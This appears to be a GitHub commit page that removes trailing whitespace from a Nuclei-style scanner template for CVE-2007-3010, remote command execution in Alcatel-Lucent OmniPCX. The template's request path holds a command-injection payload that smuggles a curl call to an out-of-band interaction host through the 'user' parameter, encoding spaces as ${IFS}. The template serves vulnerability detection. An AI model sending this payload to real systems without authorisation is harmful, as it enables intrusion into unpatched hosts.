Skip to content

Commit

Permalink
Remove trailing whitespace
Browse files Browse the repository at this point in the history
  • Loading branch information
king-alexander committed Oct 13, 2023
1 parent 3881879 commit 3acee50
Showing 1 changed file with 5 additions and 5 deletions.
10 changes: 5 additions & 5 deletions http/cves/2007/CVE-2007-3010.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -3,11 +3,11 @@ id: CVE-2007-3010
info:
name: Alcatel-Lucent OmniPCX - Remote Command Execution
author: king-alexander
severity: high
severity: high
description: |
The OmniPCX web interface has a script "masterCGI" with a remote command execution vulnerability via the "user" parameter.
impact: |
Any user with access to the web interface could execute arbitrary commands with the permissions of the webservers.
Any user with access to the web interface could execute arbitrary commands with the permissions of the webservers.
remediation: |
Update to supported versions that filter shell metacharacters in the "user" parameter.
reference:
Expand All @@ -17,10 +17,10 @@ info:

http:
- method: GET
path:
# Spaces must be encoded with the internal field separator "${IFS}" to execute the command.
path:
# Spaces must be encoded with the internal field separator "${IFS}" to execute the command.
- "{{BaseURL}}/cgi-bin/masterCGI?ping=nomip&user=;curl${IFS}https://{{interactsh-url}};"

matchers:
- type: word
part: interactsh_protocol
Expand Down

0 comments on commit 3acee50

Please sign in to comment.